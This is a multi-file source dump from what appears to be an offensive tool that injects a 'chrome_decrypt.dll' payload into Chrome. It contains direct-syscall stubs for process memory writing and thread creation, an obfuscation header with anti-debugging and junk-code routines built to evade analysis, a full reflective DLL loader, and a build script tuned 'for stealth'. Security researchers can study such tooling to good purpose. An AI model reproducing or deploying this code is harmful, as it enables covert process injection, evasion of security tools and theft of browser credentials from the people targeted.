48 | SYSCALL_ENTRY NtProtectVirtualMemory; 49 | SYSCALL_ENTRY NtOpenProcess; 50 | SYSCALL_ENTRY NtGetNextProcess; 51 | SYSCALL_ENTRY NtTerminateProcess; 52 | SYSCALL_ENTRY NtQueryInformationProcess; 53 | SYSCALL_ENTRY NtUnmapViewOfSection; 54 | SYSCALL_ENTRY NtGetContextThread; 55 | SYSCALL_ENTRY NtSetContextThread; 56 | SYSCALL_ENTRY NtResumeThread; 57 | SYSCALL_ENTRY NtFlushInstructionCache; 58 | SYSCALL_ENTRY NtClose; 59 | SYSCALL_ENTRY NtOpenKey; 60 | SYSCALL_ENTRY NtQueryValueKey; 61 | SYSCALL_ENTRY NtEnumerateKey; 62 | }; 63 | 64 | struct UNICODE_STRING_SYSCALLS 65 | { 66 | USHORT Length; 67 | USHORT MaximumLength; 68 | PWSTR Buffer; 69 | }; 70 | using PUNICODE_STRING_SYSCALLS = UNICODE_STRING_SYSCALLS *; 71 | 72 | struct OBJECT_ATTRIBUTES 73 | { 74 | ULONG Length; 75 | HANDLE RootDirectory; 76 | PUNICODE_STRING_SYSCALLS ObjectName; 77 | ULONG Attributes; 78 | PVOID SecurityDescriptor; 79 | PVOID SecurityQualityOfService; 80 | }; 81 | using POBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES *; 82 | 83 | enum PROCESSINFOCLASS 84 | { 85 | ProcessBasicInformation = 0, 86 | ProcessImageFileName = 27 87 | }; 88 | 89 | struct PROCESS_BASIC_INFORMATION 90 | { 91 | NTSTATUS ExitStatus; 92 | PVOID PebBaseAddress; 93 | ULONG_PTR AffinityMask; 94 | LONG BasePriority; 95 | ULONG_PTR UniqueProcessId; 96 | ULONG_PTR InheritedFromUniqueProcessId; 97 | }; 98 | using PPROCESS_BASIC_INFORMATION = PROCESS_BASIC_INFORMATION *; 99 | 100 | struct PEB_LDR_DATA 101 | { 102 | BYTE Reserved1[8]; 103 | PVOID Reserved2[3]; 104 | LIST_ENTRY InMemoryOrderModuleList; 105 | }; 106 | using PPEB_LDR_DATA = PEB_LDR_DATA *; 107 | 108 | struct RTL_USER_PROCESS_PARAMETERS 109 | { 110 | BYTE Reserved1[16]; 111 | PVOID Reserved2[10]; 112 | UNICODE_STRING_SYSCALLS ImagePathName; 113 | UNICODE_STRING_SYSCALLS CommandLine; 114 | }; 115 | using PRTL_USER_PROCESS_PARAMETERS = RTL_USER_PROCESS_PARAMETERS *; 116 | 117 | struct PEB 118 | { 119 | BYTE Reserved1[2]; 120 | BYTE BeingDebugged; 121 | BYTE BitField; 122 | BYTE Reserved3[4]; 123 | PVOID Mutant; 124 | PVOID ImageBaseAddress; 125 | PPEB_LDR_DATA Ldr; 126 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 127 | }; 128 | using PPEB = PEB *; 129 | 130 | struct CLIENT_ID 131 | { 132 | HANDLE UniqueProcess; 133 | HANDLE UniqueThread; 134 | }; 135 | using PCLIENT_ID = CLIENT_ID *; 136 | 137 | enum KEY_VALUE_INFORMATION_CLASS 138 | { 139 | KeyValueBasicInformation = 0, 140 | KeyValueFullInformation, 141 | KeyValuePartialInformation 142 | }; 143 | 144 | struct KEY_VALUE_PARTIAL_INFORMATION 145 | { 146 | ULONG TitleIndex; 147 | ULONG Type; 148 | ULONG DataLength; 149 | UCHAR Data[1]; 150 | }; 151 | using PKEY_VALUE_PARTIAL_INFORMATION = KEY_VALUE_PARTIAL_INFORMATION *; 152 | 153 | struct KEY_BASIC_INFORMATION 154 | { 155 | LARGE_INTEGER LastWriteTime; 156 | ULONG TitleIndex; 157 | ULONG NameLength; 158 | WCHAR Name[1]; 159 | }; 160 | using PKEY_BASIC_INFORMATION = KEY_BASIC_INFORMATION *; 161 | 162 | enum KEY_INFORMATION_CLASS 163 | { 164 | KeyBasicInformation = 0 165 | }; 166 | 167 | inline void InitializeObjectAttributes(POBJECT_ATTRIBUTES p, PUNICODE_STRING_SYSCALLS n, ULONG a, HANDLE r, PVOID s) 168 | { 169 | p->Length = sizeof(OBJECT_ATTRIBUTES); 170 | p->RootDirectory = r; 171 | p->Attributes = a; 172 | p->ObjectName = n; 173 | p->SecurityDescriptor = s; 174 | p->SecurityQualityOfService = nullptr; 175 | } 176 | 177 | #ifndef KEY_QUERY_VALUE 178 | #define KEY_QUERY_VALUE (0x0001) 179 | #endif 180 | 181 | #ifndef KEY_READ 182 | #define KEY_READ (0x20019) 183 | #endif 184 | 185 | #ifndef KEY_WOW64_64KEY 186 | #define KEY_WOW64_64KEY (0x0100) 187 | #endif 188 | 189 | #ifndef KEY_WOW64_32KEY 190 | #define KEY_WOW64_32KEY (0x0200) 191 | #endif 192 | 193 | extern "C" 194 | { 195 | extern SYSCALL_STUBS g_syscall_stubs; 196 | 197 | [[nodiscard]] BOOL InitializeSyscalls(bool is_verbose, bool enable_obfuscation = true); 198 | 199 | NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG); 200 | NTSTATUS NtWriteVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); 201 | NTSTATUS NtReadVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); 202 | NTSTATUS NtCreateThreadEx_syscall(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, LPVOID); 203 | NTSTATUS NtFreeVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG); 204 | NTSTATUS NtProtectVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG); 205 | NTSTATUS NtOpenProcess_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID); 206 | NTSTATUS NtGetNextProcess_syscall(HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE); 207 | NTSTATUS NtTerminateProcess_syscall(HANDLE, NTSTATUS); 208 | NTSTATUS NtQueryInformationProcess_syscall(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); 209 | NTSTATUS NtUnmapViewOfSection_syscall(HANDLE, PVOID); 210 | NTSTATUS NtGetContextThread_syscall(HANDLE, PCONTEXT); 211 | NTSTATUS NtSetContextThread_syscall(HANDLE, PCONTEXT); 212 | NTSTATUS NtResumeThread_syscall(HANDLE, PULONG); 213 | NTSTATUS NtFlushInstructionCache_syscall(HANDLE, PVOID, ULONG); 214 | NTSTATUS NtClose_syscall(HANDLE); 215 | NTSTATUS NtOpenKey_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); 216 | NTSTATUS NtQueryValueKey_syscall(HANDLE, PUNICODE_STRING_SYSCALLS, KEY_VALUE_INFORMATION_CLASS, PVOID, ULONG, PULONG); 217 | NTSTATUS NtEnumerateKey_syscall(HANDLE, ULONG, KEY_INFORMATION_CLASS, PVOID, ULONG, PULONG); 218 | } 219 | 220 | #endif 221 | -------------------------------------------------------------------------------- /src/syscalls_obfuscation.h: -------------------------------------------------------------------------------- 1 | // syscalls_obfuscation.h 2 | // v0.16.1 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | 5 | #ifndef SYSCALLS_OBFUSCATION_H 6 | #define SYSCALLS_OBFUSCATION_H 7 | 8 | #include 9 | #include 10 | #include 11 | #include "syscalls.h" 12 | 13 | namespace SyscallObfuscation 14 | { 15 | // XOR encryption keys (randomized at runtime) 16 | struct ObfuscationKeys 17 | { 18 | uint64_t ssnKey; // Key for SSN encryption 19 | uint64_t gadgetKey; // Key for gadget pointer encryption 20 | uint64_t structKey; // Key for structure field shuffling 21 | bool initialized; 22 | }; 23 | 24 | // Encrypted syscall entry 25 | struct ObfuscatedSyscallEntry 26 | { 27 | uint64_t encryptedGadget; // XOR'd gadget pointer 28 | uint32_t encryptedSSN; // XOR'd SSN 29 | uint32_t checksum; // Integrity check 30 | uint8_t padding[16]; // Anti-pattern padding 31 | }; 32 | 33 | // Anti-debugging/analysis checks 34 | namespace AntiAnalysis 35 | { 36 | // Check for debugger presence via PEB 37 | inline bool IsDebuggerPresent_PEB() 38 | { 39 | #if defined(_M_X64) 40 | PPEB peb = reinterpret_cast(__readgsqword(0x60)); 41 | #elif defined(_M_ARM64) 42 | PPEB peb = reinterpret_cast(__readx18qword(0x60)); 43 | #else 44 | return false; 45 | #endif 46 | return peb && peb->BeingDebugged; 47 | } 48 | 49 | // Timing-based debugger detection 50 | inline bool IsDebuggerPresent_Timing() 51 | { 52 | #if defined(_M_X64) || defined(_M_IX86) 53 | uint64_t start = __rdtsc(); 54 | 55 | // Junk operations to create timing window 56 | volatile int x = 0; 57 | for (int i = 0; i < 10; i++) 58 | x += i; 59 | 60 | uint64_t end = __rdtsc(); 61 | 62 | // If took too long, likely stepped through debugger 63 | return (end - start) > 10000; 64 | #else 65 | // ARM64: Use GetTickCount64 as fallback 66 | ULONGLONG start = GetTickCount64(); 67 | volatile int x = 0; 68 | for (int i = 0; i < 10; i++) 69 | x += i; 70 | ULONGLONG end = GetTickCount64(); 71 | return (end - start) > 50; 72 | #endif 73 | } 74 | 75 | // Check for hardware breakpoints via debug registers 76 | inline bool HasHardwareBreakpoints() 77 | { 78 | #if defined(_M_X64) || defined(_M_IX86) 79 | CONTEXT ctx = {}; 80 | ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; 81 | 82 | if (!GetThreadContext(GetCurrentThread(), &ctx)) 83 | return false; 84 | 85 | // Check if any debug registers are set 86 | return (ctx.Dr0 | ctx.Dr1 | ctx.Dr2 | ctx.Dr3) != 0; 87 | #else 88 | // ARM64 doesn't have the same debug register structure in CONTEXT 89 | // Use alternative detection method 90 | return false; 91 | #endif 92 | } 93 | 94 | // Anti-analysis check 95 | inline bool DetectAnalysisEnvironment() 96 | { 97 | // Multiple detection vectors 98 | if (IsDebuggerPresent_PEB()) 99 | return true; 100 | if (IsDebuggerPresent_Timing()) 101 | return true; 102 | if (HasHardwareBreakpoints()) 103 | return true; 104 | if (IsDebuggerPresent()) 105 | return true; // Win32 API fallback 106 | 107 | return false; 108 | } 109 | } 110 | 111 | // Obfuscation utilities 112 | namespace Utils 113 | { 114 | // Generate pseudo-random key based on runtime state 115 | inline uint64_t GenerateRuntimeKey() 116 | { 117 | #if defined(_M_X64) || defined(_M_IX86) 118 | uint64_t key = __rdtsc(); 119 | #else 120 | // ARM64: Use performance counter 121 | LARGE_INTEGER counter; 122 | QueryPerformanceCounter(&counter); 123 | uint64_t key = static_cast(counter.QuadPart); 124 | #endif 125 | key ^= reinterpret_cast(&key); 126 | key ^= static_cast(GetCurrentProcessId()) << 32; 127 | key ^= static_cast(GetCurrentThreadId()); 128 | 129 | // Mix bits 130 | key ^= (key << 13); 131 | key ^= (key >> 7); 132 | key ^= (key << 17); 133 | 134 | return key; 135 | } 136 | 137 | // XOR encrypt pointer 138 | inline uint64_t EncryptPointer(PVOID ptr, uint64_t key) 139 | { 140 | return reinterpret_cast(ptr) ^ key; 141 | } 142 | 143 | // XOR decrypt pointer 144 | inline PVOID DecryptPointer(uint64_t encrypted, uint64_t key) 145 | { 146 | return reinterpret_cast(encrypted ^ key); 147 | } 148 | 149 | // XOR encrypt SSN 150 | inline uint32_t EncryptSSN(WORD ssn, uint64_t key) 151 | { 152 | return static_cast(ssn) ^ static_cast(key & 0xFFFFFFFF); 153 | } 154 | 155 | // XOR decrypt SSN 156 | inline WORD DecryptSSN(uint32_t encrypted, uint64_t key) 157 | { 158 | return static_cast(encrypted ^ static_cast(key & 0xFFFFFFFF)); 159 | } 160 | 161 | // Calculate simple checksum for integrity 162 | inline uint32_t CalculateChecksum(uint64_t gadget, uint32_t ssn) 163 | { 164 | uint32_t sum = static_cast(gadget & 0xFFFFFFFF); 165 | sum ^= static_cast(gadget >> 32); 166 | sum ^= ssn; 167 | sum = (sum << 13) | (sum >> 19); // Rotate 168 | return sum; 169 | } 170 | 171 | // Junk code injection to break pattern analysis 172 | inline void InjectJunkCode() 173 | { 174 | #if defined(_M_X64) || defined(_M_IX86) 175 | volatile uint64_t junk = __rdtsc(); 176 | #else 177 | LARGE_INTEGER counter; 178 | QueryPerformanceCounter(&counter); 179 | volatile uint64_t junk = static_cast(counter.QuadPart); 180 | #endif 181 | junk = (junk * 0x41C64E6D + 0x3039) & 0xFFFFFFFF; 182 | junk ^= (junk << 21); 183 | junk ^= (junk >> 35); 184 | junk ^= (junk << 4); 185 | // Compiler won't optimize this away due to volatile 186 | } 187 | } 188 | 189 | // Main obfuscation manager 190 | class SyscallObfuscator 191 | { 192 | private: 193 | ObfuscationKeys m_keys; 194 | bool m_antiAnalysisEnabled; 195 | 196 | // Initialize encryption keys 197 | void InitializeKeys() 198 | { 199 | m_keys.ssnKey = Utils::GenerateRuntimeKey(); 200 | m_keys.gadgetKey = Utils::GenerateRuntimeKey() ^ 0xDEADBEEFCAFEBABE; 201 | m_keys.structKey = Utils::GenerateRuntimeKey() ^ 0x1337C0DEC0FFEE; 202 | m_keys.initialized = true; 203 | } 204 | 205 | public: 206 | SyscallObfuscator(bool enableAntiAnalysis = true) 207 | : m_antiAnalysisEnabled(enableAntiAnalysis) 208 | { 209 | m_keys = {}; 210 | InitializeKeys(); 211 | } 212 | 213 | // Check for analysis environment before critical operations 214 | bool ValidateEnvironment() 215 | { 216 | if (!m_antiAnalysisEnabled) 217 | return true; 218 | 219 | Utils::InjectJunkCode(); 220 | 221 | if (AntiAnalysis::DetectAnalysisEnvironment()) 222 | return false; 223 | 224 | Utils::InjectJunkCode(); 225 | return true; 226 | } 227 | 228 | // Encrypt syscall entry 229 | ObfuscatedSyscallEntry EncryptEntry(PVOID gadget, WORD ssn) 230 | { 231 | Utils::InjectJunkCode(); 232 | 233 | ObfuscatedSyscallEntry entry = {}; 234 | entry.encryptedGadget = Utils::EncryptPointer(gadget, m_keys.gadgetKey); 235 | entry.encryptedSSN = Utils::EncryptSSN(ssn, m_keys.ssnKey); 236 | entry.checksum = Utils::CalculateChecksum( 237 | reinterpret_cast(gadget), 238 | static_cast(ssn)); 239 | 240 | // Fill padding with pseudo-random data to break patterns 241 | for (int i = 0; i < 16; i++) 242 | entry.padding[i] = static_cast((m_keys.structKey >> (i * 4)) & 0xFF); 243 | 244 | Utils::InjectJunkCode(); 245 | return entry; 246 | } 247 | 248 | // Decrypt and validate syscall entry 249 | bool DecryptEntry(const ObfuscatedSyscallEntry &entry, PVOID *outGadget, WORD *outSSN) 250 | { 251 | Utils::InjectJunkCode(); 252 | 253 | PVOID gadget = Utils::DecryptPointer(entry.encryptedGadget, m_keys.gadgetKey); 254 | WORD ssn = Utils::DecryptSSN(entry.encryptedSSN, m_keys.ssnKey); 255 | 256 | // Verify integrity 257 | uint32_t calculatedChecksum = Utils::CalculateChecksum( 258 | reinterpret_cast(gadget), 259 | static_cast(ssn)); 260 | 261 | if (calculatedChecksum != entry.checksum) 262 | return false; // Tampered data 263 | 264 | *outGadget = gadget; 265 | *outSSN = ssn; 266 | 267 | Utils::InjectJunkCode(); 268 | return true; 269 | } 270 | 271 | // Re-randomize keys 272 | void RotateKeys() 273 | { 274 | Utils::InjectJunkCode(); 275 | 276 | // XOR with new random values instead of complete replacement 277 | m_keys.ssnKey ^= Utils::GenerateRuntimeKey(); 278 | m_keys.gadgetKey ^= Utils::GenerateRuntimeKey(); 279 | m_keys.structKey ^= Utils::GenerateRuntimeKey(); 280 | 281 | Utils::InjectJunkCode(); 282 | } 283 | 284 | // Get keys for external encryption (use sparingly) 285 | const ObfuscationKeys &GetKeys() const { return m_keys; } 286 | }; 287 | 288 | // Global obfuscator instance (initialized once) 289 | extern SyscallObfuscator *g_Obfuscator; 290 | 291 | // Initialize obfuscation system 292 | inline bool InitializeObfuscation(bool enableAntiAnalysis = true) 293 | { 294 | if (g_Obfuscator) 295 | return true; // Already initialized 296 | 297 | g_Obfuscator = new SyscallObfuscator(enableAntiAnalysis); 298 | return g_Obfuscator != nullptr; 299 | } 300 | 301 | // Cleanup obfuscation system 302 | inline void CleanupObfuscation() 303 | { 304 | if (g_Obfuscator) 305 | { 306 | delete g_Obfuscator; 307 | g_Obfuscator = nullptr; 308 | } 309 | } 310 | } 311 | 312 | #endif 313 | -------------------------------------------------------------------------------- /src/reflective_loader.c: -------------------------------------------------------------------------------- 1 | // reflective_loader.c 2 | // v0.16.1 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information.. 4 | 5 | #include 6 | #include "reflective_loader.h" 7 | 8 | #pragma intrinsic(_ReturnAddress) 9 | #pragma intrinsic(_rotr) 10 | 11 | static DWORD ror_dword_loader(DWORD d) 12 | { 13 | return _rotr(d, HASH_KEY); 14 | } 15 | 16 | static DWORD hash_string_loader(char *c) 17 | { 18 | DWORD h = 0; 19 | do 20 | { 21 | h = ror_dword_loader(h); 22 | h += *c; 23 | } while (*++c); 24 | return h; 25 | } 26 | 27 | __declspec(noinline) ULONG_PTR GetIp(VOID) 28 | { 29 | return (ULONG_PTR)_ReturnAddress(); 30 | } 31 | 32 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpLoaderParameter) 33 | { 34 | LOADLIBRARYA_FN fnLoadLibraryA = NULL; 35 | GETPROCADDRESS_FN fnGetProcAddress = NULL; 36 | VIRTUALALLOC_FN fnVirtualAlloc = NULL; 37 | NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = NULL; 38 | 39 | ULONG_PTR uiDllBase; 40 | ULONG_PTR uiPeb; 41 | ULONG_PTR uiKernel32Base = 0; 42 | ULONG_PTR uiNtdllBase = 0; 43 | 44 | PIMAGE_NT_HEADERS pNtHeaders_current; 45 | PIMAGE_DOS_HEADER pDosHeader_current; 46 | 47 | uiDllBase = GetIp(); 48 | 49 | while (TRUE) 50 | { 51 | pDosHeader_current = (PIMAGE_DOS_HEADER)uiDllBase; 52 | if (pDosHeader_current->e_magic == IMAGE_DOS_SIGNATURE) 53 | { 54 | pNtHeaders_current = (PIMAGE_NT_HEADERS)(uiDllBase + pDosHeader_current->e_lfanew); 55 | if (pNtHeaders_current->Signature == IMAGE_NT_SIGNATURE) 56 | break; 57 | } 58 | uiDllBase--; 59 | } 60 | 61 | #if defined(_M_X64) 62 | uiPeb = __readgsqword(0x60); 63 | #elif defined(_M_ARM64) 64 | uiPeb = __readx18qword(0x60); 65 | #else 66 | return 0; 67 | #endif 68 | 69 | PPEB_LDR_DATA_LDR pLdr = ((PPEB_LDR)uiPeb)->Ldr; 70 | PLIST_ENTRY pModuleList = &(pLdr->InMemoryOrderModuleList); 71 | PLIST_ENTRY pCurrentEntry = pModuleList->Flink; 72 | 73 | while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase)) 74 | { 75 | PLDR_DATA_TABLE_ENTRY_LDR pEntry = (PLDR_DATA_TABLE_ENTRY_LDR)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_LDR, InMemoryOrderLinks); 76 | if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != NULL) 77 | { 78 | DWORD dwModuleHash = 0; 79 | USHORT usCounter = pEntry->BaseDllName.Length; 80 | BYTE *pNameByte = (BYTE *)pEntry->BaseDllName.Buffer; 81 | 82 | do 83 | { 84 | dwModuleHash = ror_dword_loader(dwModuleHash); 85 | if (*pNameByte >= 'a' && *pNameByte <= 'z') 86 | { 87 | dwModuleHash += (*pNameByte - 0x20); 88 | } 89 | else 90 | { 91 | dwModuleHash += *pNameByte; 92 | } 93 | pNameByte++; 94 | } while (--usCounter); 95 | 96 | if (dwModuleHash == KERNEL32DLL_HASH) 97 | { 98 | uiKernel32Base = (ULONG_PTR)pEntry->DllBase; 99 | } 100 | else if (dwModuleHash == NTDLLDLL_HASH) 101 | { 102 | uiNtdllBase = (ULONG_PTR)pEntry->DllBase; 103 | } 104 | } 105 | pCurrentEntry = pCurrentEntry->Flink; 106 | } 107 | 108 | if (!uiKernel32Base || !uiNtdllBase) 109 | return 0; 110 | 111 | PIMAGE_DOS_HEADER pDosKernel32 = (PIMAGE_DOS_HEADER)uiKernel32Base; 112 | PIMAGE_NT_HEADERS pNtKernel32 = (PIMAGE_NT_HEADERS)(uiKernel32Base + pDosKernel32->e_lfanew); 113 | ULONG_PTR uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 114 | PIMAGE_EXPORT_DIRECTORY pExportDirK32 = (PIMAGE_EXPORT_DIRECTORY)uiExportDirK32; 115 | 116 | ULONG_PTR uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames; 117 | ULONG_PTR uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions; 118 | ULONG_PTR uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals; 119 | 120 | for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++) 121 | { 122 | char *sName = (char *)(uiKernel32Base + ((DWORD *)uiAddressOfNamesK32)[i]); 123 | DWORD dwHashVal = hash_string_loader(sName); 124 | if (dwHashVal == LOADLIBRARYA_HASH) 125 | fnLoadLibraryA = (LOADLIBRARYA_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]); 126 | else if (dwHashVal == GETPROCADDRESS_HASH) 127 | fnGetProcAddress = (GETPROCADDRESS_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]); 128 | else if (dwHashVal == VIRTUALALLOC_HASH) 129 | fnVirtualAlloc = (VIRTUALALLOC_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]); 130 | 131 | if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc) 132 | break; 133 | } 134 | 135 | if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc) 136 | return 0; 137 | 138 | PIMAGE_DOS_HEADER pDosNtdll = (PIMAGE_DOS_HEADER)uiNtdllBase; 139 | PIMAGE_NT_HEADERS pNtNtdll = (PIMAGE_NT_HEADERS)(uiNtdllBase + pDosNtdll->e_lfanew); 140 | ULONG_PTR uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 141 | PIMAGE_EXPORT_DIRECTORY pExportDirNtdll = (PIMAGE_EXPORT_DIRECTORY)uiExportDirNtdll; 142 | 143 | ULONG_PTR uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames; 144 | ULONG_PTR uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions; 145 | ULONG_PTR uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals; 146 | 147 | for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++) 148 | { 149 | char *sName = (char *)(uiNtdllBase + ((DWORD *)uiAddressOfNamesNtdll)[i]); 150 | if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH) 151 | { 152 | fnNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE_FN)(uiNtdllBase + ((DWORD *)uiAddressOfFunctionsNtdll)[((WORD *)uiAddressOfNameOrdinalsNtdll)[i]]); 153 | break; 154 | } 155 | } 156 | 157 | if (!fnNtFlushInstructionCache) 158 | return 0; 159 | 160 | PIMAGE_NT_HEADERS pOldNtHeaders = pNtHeaders_current; 161 | ULONG_PTR uiNewImageBase = (ULONG_PTR)fnVirtualAlloc(NULL, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 162 | if (!uiNewImageBase) 163 | return 0; 164 | 165 | PBYTE pSourceBytes = (PBYTE)uiDllBase; 166 | PBYTE pDestinationBytes = (PBYTE)uiNewImageBase; 167 | DWORD dwBytesToCopy = pOldNtHeaders->OptionalHeader.SizeOfHeaders; 168 | 169 | while (dwBytesToCopy--) 170 | { 171 | *pDestinationBytes++ = *pSourceBytes++; 172 | } 173 | 174 | PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pOldNtHeaders->OptionalHeader + pOldNtHeaders->FileHeader.SizeOfOptionalHeader); 175 | for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++) 176 | { 177 | pSourceBytes = (PBYTE)(uiDllBase + pSectionHeader[i].PointerToRawData); 178 | pDestinationBytes = (PBYTE)(uiNewImageBase + pSectionHeader[i].VirtualAddress); 179 | dwBytesToCopy = pSectionHeader[i].SizeOfRawData; 180 | 181 | while (dwBytesToCopy--) 182 | { 183 | *pDestinationBytes++ = *pSourceBytes++; 184 | } 185 | } 186 | 187 | ULONG_PTR uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase; 188 | PIMAGE_DATA_DIRECTORY pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 189 | 190 | if (pRelocationData->Size > 0 && uiDelta != 0) 191 | { 192 | PIMAGE_BASE_RELOCATION pRelocBlock = (PIMAGE_BASE_RELOCATION)(uiNewImageBase + pRelocationData->VirtualAddress); 193 | while (pRelocBlock->VirtualAddress) 194 | { 195 | DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); 196 | PIMAGE_RELOC_ENTRY pRelocEntry = (PIMAGE_RELOC_ENTRY)((ULONG_PTR)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION)); 197 | for (DWORD k = 0; k < dwEntryCount; k++) 198 | { 199 | #if defined(_M_X64) || defined(_M_ARM64) 200 | if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64) 201 | { 202 | *(ULONG_PTR *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta; 203 | } 204 | #else 205 | if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW) 206 | { 207 | *(DWORD *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += (DWORD)uiDelta; 208 | } 209 | #endif 210 | } 211 | pRelocBlock = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocBlock + pRelocBlock->SizeOfBlock); 212 | } 213 | } 214 | 215 | PIMAGE_DATA_DIRECTORY pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 216 | if (pImportData->Size > 0) 217 | { 218 | PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiNewImageBase + pImportData->VirtualAddress); 219 | while (pImportDesc->Name) 220 | { 221 | char *sModuleName = (char *)(uiNewImageBase + pImportDesc->Name); 222 | HINSTANCE hModule = fnLoadLibraryA(sModuleName); 223 | if (hModule) 224 | { 225 | PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->OriginalFirstThunk); 226 | PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->FirstThunk); 227 | if (!pOriginalFirstThunk) 228 | pOriginalFirstThunk = pFirstThunk; 229 | 230 | while (pOriginalFirstThunk->u1.AddressOfData) 231 | { 232 | FARPROC pfnImportedFunc; 233 | if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) 234 | { 235 | pfnImportedFunc = fnGetProcAddress(hModule, (LPCSTR)(pOriginalFirstThunk->u1.Ordinal & 0xFFFF)); 236 | } 237 | else 238 | { 239 | PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData); 240 | pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name); 241 | } 242 | pFirstThunk->u1.Function = (ULONG_PTR)pfnImportedFunc; 243 | pOriginalFirstThunk++; 244 | pFirstThunk++; 245 | } 246 | } 247 | pImportDesc++; 248 | } 249 | } 250 | 251 | DLLMAIN_FN fnDllEntry = (DLLMAIN_FN)(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint); 252 | fnNtFlushInstructionCache((HANDLE)-1, NULL, 0); 253 | fnDllEntry((HINSTANCE)uiNewImageBase, DLL_PROCESS_ATTACH, lpLoaderParameter); 254 | 255 | return uiNewImageBase; 256 | } 257 | -------------------------------------------------------------------------------- /make.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | setlocal enabledelayedexpansion 3 | 4 | :: ============================================================================= 5 | :: = CONFIGURATION = 6 | :: ============================================================================= 7 | set "BUILD_DIR=build" 8 | set "SRC_DIR=src" 9 | set "LIBS_DIR=libs" 10 | set "FINAL_EXE_NAME=chromelevator.exe" 11 | set "PAYLOAD_DLL_NAME=chrome_decrypt.dll" 12 | set "ENCRYPTOR_EXE_NAME=encryptor.exe" 13 | set "VERBOSE=1" 14 | 15 | :: Compiler and Linker Flags (Optimized for size and stealth) 16 | set "CFLAGS_COMMON=/nologo /W3 /O1 /MT /GS- /Gy /GL" 17 | set "CFLAGS_CPP_ONLY=/EHsc /std:c++17" 18 | set "LFLAGS_COMMON=/link /NOLOGO /LTCG /OPT:REF /OPT:ICF /DYNAMICBASE /NXCOMPAT 